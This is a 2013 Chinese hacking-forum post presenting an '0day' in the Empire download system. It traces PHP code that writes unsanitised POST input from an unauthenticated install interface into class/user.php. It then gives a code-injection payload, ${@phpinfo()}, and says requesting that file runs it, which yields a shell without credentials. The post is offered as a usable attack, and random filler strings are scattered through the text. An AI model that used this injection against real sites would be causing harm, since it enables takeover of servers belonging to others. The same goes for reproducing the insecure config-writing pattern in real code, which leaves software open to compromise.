找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2497|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们% n& d1 L2 C' X6 E; A

! M( Q" U# B8 C: k

% U( ~1 l' A0 W% A+ K0 C1 {
这是帝国的一套下载系统 如图" c, D2 S/ l7 _; p7 o' W% i# U
ps(不需要任何账户和密码,直接写shell)


9 X+ J7 [% d2 Q1 `! X2 V

由于很多站是由于下载要整合discuz 等等一些论坛....
7 n+ u0 q) B8 v! C

! @, Z( d$ \, g8 ]( }$ e

而帝国他又有一个万能接口,如图

6 X2 N0 J7 f, D" o5 w

' m( ^  Z+ c9 t, z& Z3 ]
$ e+ r  R' L# k( W" w

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码5 H' p1 m. Z5 y2 X. ]; c! [

% d# U1 m3 [# u1 v( N当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪* k9 x4 [6 l) X

9 z6 D: u! Y4 J9 O& Q* Q在data/fun.php中的15行
+ k. ]; G5 a6 u
% j0 R) v7 H7 U/ R6 |我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {
& t! a; C2 @) t) _  J6 d9 l
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干
  J! i+ J/ Z  p2 ^( _% U
8 k, b* h) h9 c0 O6 |# z1 ]) ]( S, W这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
  G0 }$ P+ y) z2 v" z( h( {( i: ]. R2 p: y7 t& c) N7 w
他将传进来的变量进行了切割,然后赋给了$filetext
* e) v4 [. G9 D4 d
6 |, c6 x# H% D+ I1 Q% B3 y8 @然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了
8 n1 ]+ b5 r" u7 e: X. q8 e8 k7 c+ Z9 P' I
我们看看写入的结果,随便填一个


! V0 H4 l# z4 w# z, }+ Y! @" n, E. C

6 D3 R$ `% n0 J: y" b9 _0 k5 I) m8 D; E5 @6 ~
1 M: l' \$ }, t. b7 |
8 B0 E1 T5 S! z. I+ |, ?

' B% o# s9 \" K6 W' d) i4 l

2 L6 A5 ?, n/ I' p6 L. \- R

$ @2 M6 k/ y: c; C* a9 |
/ T! `) F# T8 |

- Y, H. p: x5 w, @6 ~# o2 Y3 A# g" [! n; @3 l4 g

' A+ S! g& |# F/ \3 c& p" O" N+ z. m) z6 E/ V2 \6 P

  w5 x7 N; q3 o. u0 X  {+ I; k4 E% X( A

+ l- v) U2 a* I$ E$ g1 f
2 o5 A% {% x& V' w4 a, E
  ?. f5 q0 D- C  k; G; s0 [7 y4 N. A) U7 Q
" C5 Y6 ]; M+ u( b- I
5 ]8 L8 I& l. {! |' g& s

所以我们淫荡点,写个${@phpinfo()}试试


* S* M7 o% U0 u* x: L

然后访问以下class/user.php这个文件8 J/ w$ N7 R8 c6 R; B$ w
日了吧

" ^" Z1 v) }1 \3 k) \
0 w1 m+ `6 D  y9 U0 I( W! z2 O0 k4 D" r
% @1 s, d  U' G6 {9 x& j  y
/ x5 o' W9 w9 Q( H6 ^& v7 |

+ v( p& W4 l8 ?0 A
" j* a, t/ q# R& h

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表